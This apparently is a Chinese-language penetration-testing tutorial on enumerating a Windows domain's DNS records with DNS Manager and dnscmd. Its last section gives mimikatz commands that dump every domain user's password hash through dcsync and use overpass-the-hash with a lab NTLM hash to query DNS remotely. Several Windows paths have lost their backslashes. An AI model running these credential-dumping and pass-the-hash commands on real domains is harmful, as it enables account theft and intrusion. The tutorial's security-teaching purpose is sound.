00x00 前言
早上一覺起來碼子變紅了是什么體驗,crazy!!!
00x01 簡介
本文將要介紹以下內容:
通過DNS Manager獲取DNS記錄
通過dnscmd獲取DNS記錄
域內遠程讀取DNS記錄的方法
00x02 通過DNS Manager獲取DNS記錄
測試系統:
Windows Server 2012 R2 x64
選擇‘工具’ -> DNS
。
在‘正向查找區域’下找到當前域名,能夠顯示當前域內的DNS
記錄,包括主機名和對應的IP
。
00x03 通過dnscmd獲取DNS記錄
dnscmd
用來管理DNS
服務器的命令行接口,支持遠程連接。
默認安裝的系統:
Windows Server 2003
Windows Server 2008
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2012
Windows Server 2003 with SP1
…
常用命令:
(1)列出DNS區域中當前節點的資源記錄:
Dnscmd . /EnumZones
(2)列出http://21r000.org的信息:
Dnscmd . /ZoneInfo 21r000.org
(3)列舉http://21r000.org中的記錄,方法1(更詳細):
Dnscmd . /ZonePrint 21r000.org
(4)列舉http://21r000.org的記錄,方法2:
Dnscmd . /EnumRecords 21r000.org .
結果同DNS Manager
獲取的記錄一致。
00x04 域內遠程讀取DNS記錄的方法
方法分析
前提需要獲得域管理員的權限。
第一種方法是先遠程連接域控制器,然后在域控制器上執行dnscmd
獲取DNS
記錄。
第二種方法是在域內一台主機上面,執行dnscmd
遠程讀取DNS
記錄。
在未安裝Remote Server Administration Tools (RSAT)
的系統上執行dnscmd
,需要滿足以下條件:
dnscmd保存在路徑C:WindowsSystem32下
dnscmd.exe.mui保存在C:WindowsSystem32en-US下(該位置比較通用,也可以在其他位置)
注:dnscmd
和dnscmd.exe.mui
使用該項目中的即可。
Win7系統安裝Remote Server Administration Tools (RSAT)教程
由於dnscmd
在遠程連接時,未提供輸入用戶名和口令的接口,這里需要借助mimikatz
的Overpass-the-hash
。
首先需要獲得域管理員用戶的hash
,這里只能用ntlm/rc4/aes128/aes256
如果獲得了域管理員用戶的明文口令,可以先將明文轉為ntlm
,在線加解密的網站
域控制器上執行mimikatz
,使用dcsync
獲得域內所有用戶hash
:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:21r000.org /all /csv exit"
測試環境的參數如下:
域管理員用戶:Administrator
口令:DomainAdmin456!
hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:21r000.org /ntlm:A55E0720F0041193632A58E007624B40"
這樣會彈出一個cmd.exe
接着使用dnscmd
遠程連接進行查詢:
Dnscmd WIN-F08C969D7FM.21r000.org /EnumZones
或者直接用計算機名稱:
Dnscmd WIN-F08C969D7FM /EnumZones
注:這里要使用FQDN
或者計算機名。
如果想在命令行下實現整個流程,可以采用如下方法:
新建c:test1.bat
,內容如下:
Dnscmd WIN-F08C969D7FM.21r000.org /EnumZones > c:testout.txt
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:21r000.org /ntlm:A55E0720F0041193632A58E007624B40 /run:"cmd.exe /c c:test1.bat""
注:cmd.exe
下"需要使用轉義字符"
參考鏈接: